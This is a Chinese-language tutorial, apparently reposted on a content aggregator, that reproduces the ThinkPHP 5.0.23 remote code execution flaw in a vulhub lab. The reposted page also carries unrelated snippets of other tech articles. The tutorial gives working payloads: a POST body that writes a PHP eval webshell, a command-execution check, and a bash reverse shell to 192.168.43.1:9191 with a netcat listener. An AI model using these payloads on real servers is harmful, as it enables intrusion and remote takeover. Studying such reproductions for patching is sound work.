Thinkphp框架漏洞--->5.0.23 RCE

1.Thinkphp

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化 企业应用开发而诞生的。

2.漏洞原理及成因

该漏洞出现的原因在于 ThinkPHP5框架底层对控制器名过滤不严 ,从而让攻击者可以通过url调用到ThinkPHP框 架内部的敏感函数,进而导致getshell漏洞  
对于适用的范围:     Thinkphp 5.0.x<= 5.0.23  

3.漏洞复现

首先要找到一个有漏洞的页面!!!

然后就可以用工具去fuzz亿下!!嘻嘻

 可以看见是能成功fuzz出来的!!!

于是就可以加以利用了,我们这里直接讲两种利用的方法

1.RCE(Remote Code Execute)

远程代码执行,那么我们肯定是要上poc啦,在上poc之前,我们要知道,这是一个因为参数覆盖导致的RCE!!!

那么我们需要去抓包!!!

 先将get包改成post

然后再去修改参数(首先确定是Windows版本的)可以看见页面上是返回了信息的

那么我们去ping的话应该也是可以的!!!

2.Getshell !!!

1.Windows版本

代码执行是你的谎言,getshell才是你的真相,直接上poc

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+^<?php+@eval($_POST['cmd']);+?^>+>>shell.php

可以看见是能够成功的getshell的!!! 

2.Linux版本

我们也完全可以这样做,但是呢,可以讲一个新的方法

我就直接用vulhub的docker环境了

然后我们要来讲这样的一个命令

_method=__construct&filter[]=system&method=get&get[]=pwd

这个可以用来验证!!存在漏洞!!!!

然后讲一种新getshell的方法

●/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"

下面来解释一下这个命令

  1. /bin/bash 是要执行的 shell 程序的路径,-c 选项告诉 Bash shell 要执行后面的命令字符串。
  2. bash -i 是启动一个交互式的shell !!
  3. >& /dev/tcp/192.168.43.1/9191   将标准输出和标准错误重定向到指定的 TCP 连接 
  4. 0>&1 将标准输入重定向到标准输出,使得输入和输出都通过 TCP 连接

这意味着命令试图在目标主机上建立一个 TCP 连接,并将该连接与一个交互式的 Bash shell 关联起来,以便攻击者可以通过该连接执行命令并与目标系统进行交互。

然后,我们在在主机上开启监听,我这里用netcat!!(别问我端口为什么这么有特性

 编码之后发送即可!!

当然了,感觉这个shell还是没有直接写的webshell好用呢

对了还要补充一下那个编码的网址   在线url网址编码、解码器-BeJSON.comicon-default.png?t=N7T8https://www.bejson.com/enc/urlencode/

那么以上就是thinkphp的框架漏洞的基本原理以及复现啦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/503327.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue2:路由的两种模式history模式和hash模式

一、情景说明 之前我们写的项目启动后&#xff0c;浏览器访问时&#xff0c;路径中会有个#/&#xff0c;会导致不够美观 因为一般的访问地址都是http://123.123.123.123/aaa/bbb这种形式 这一篇&#xff0c;就来解决这个问题 二、案例 1、hash模式 特点&#xff1a;#/后的…

物联网技术助力智慧城市安全建设:构建全方位、智能化的安全防护体系

一、引言 随着城市化进程的加速和信息技术的迅猛发展&#xff0c;智慧城市已成为现代城市发展的重要方向。在智慧城市建设中&#xff0c;安全是不可或缺的一环。物联网技术的快速发展为智慧城市安全建设提供了有力支持&#xff0c;通过构建全方位、智能化的安全防护体系&#…

修改docker默认存储位置【高版本的docker】

一、修改docker默认存储位置 1、停服务 systemctl stop docker 2、修改/etc/docker/daemon.json添加新的dcoker路径 如"data-root": "/mnt/hdd1/docker" 3、保存后重启服务&#xff1a;systemctl restart docker 二、其他服务的命令 systemctl disab…

S1---FPGA硬件板级原理图实战导学

视频链接 FPGA板级实战导学01_哔哩哔哩_bilibili FPGA硬件板级原理图实战导学 【硬件电路设计的方法和技巧-哔哩哔哩】硬件电路设计的方法和技巧01_哔哩哔哩_bilibili&#xff08;40min&#xff09; 【高速板级硬件电路设计-哔哩哔哩】 高速板级硬件电路设计1_哔哩哔哩_bil…

Angular 由一个bug说起之四:jsonEditor使用不当造成的bug

一&#xff1a;问题 项目中使用了一个JSON第三方库&#xff1a; GitHub - josdejong/jsoneditor: A web-based tool to view, edit, format, and validate JSON 当用户编辑JSON格式的数据&#xff0c;查找替换时&#xff1a; 用户的期望结果是&#xff1a;$$ 被替换为$$_text&a…

用node写后端环境运行时报错Port 3000 is already in use

解决方法:关闭之前运行的3000端口,操作如下 1.WindowR输入cmd确定,打开命令面板 2.查看本机端口详情 netstat -ano|findstr "3000" 3.清除3000端口 taskkill -pid 41640 -f 最后再重新npm start即可,这里要看你自己项目中package.joson的启动命令是什…

代码随想录算法刷题训练营day29:LeetCode(491)递增子序列、LeetCode(46)全排列、LeetCode(47)全排列 II

代码随想录算法刷题训练营day29&#xff1a;LeetCode(491)递增子序列、LeetCode(46)全排列、LeetCode(47)全排列 II LeetCode(491)递增子序列 题目 代码 import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.HashSet; im…

1905_ARMv7-M的堆栈寄存器

1905_ARMv7-M的堆栈寄存器 全部学习汇总&#xff1a; g_arm_cores: ARM内核的学习笔记 (gitee.com) ARMv7-M实现了2种堆栈&#xff0c;分别是MSP和PSP。复位的时候默认是MSP&#xff0c;而当前是哪种可以通过CONTROL.SPSEL寄存器的bit来查看。 SP寄存器的最低2bit&#xff0c;S…

XUbuntu22.04之解决:仓库xxx没有数字签名问题(二百一十七)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

【脑切片图像分割】MATLAB 图像处理 源码

1. 简单图像处理 加载图像 Brain.jpg&#xff0c;使用直方图和颜色分割成区域这些区域有不同的颜色。 这是一个更高级的问题&#xff0c;有多个解决它的方法。 例如&#xff0c;您可以计算具有特定数字的图像的直方图&#xff08;例如 16 - 32&#xff09;&#xff0c;找到直方…

ROS2体系框架

文章目录 1.ROS2的系统架构2.ROS2的编码风格3.细谈初始化和资源释放4.细谈配置文件5.ROS2的一些命令6.ROS2的核心模块6.1 通信模块6.2 功能包6.3 分布式6.4 终端命令和rqt6.5 launch6.6 TF坐标变换6.7 可视化RVIZ 1.ROS2的系统架构 开发者的工作内容一般都在应用层&#xff0c;…

Environment 为什么可以通过@Autowired 依赖注入?

在日常开发中&#xff0c;我们可能会需要使用到Environment&#xff0c;获得环境变量的值。如何获取Environment呢&#xff0c;无非就三种方式 实现EnvironmentAware 接口的 setEnvironment方法&#xff0c;接收传入的Evironment通过ApplicationContext 的 getEnvironment 方法…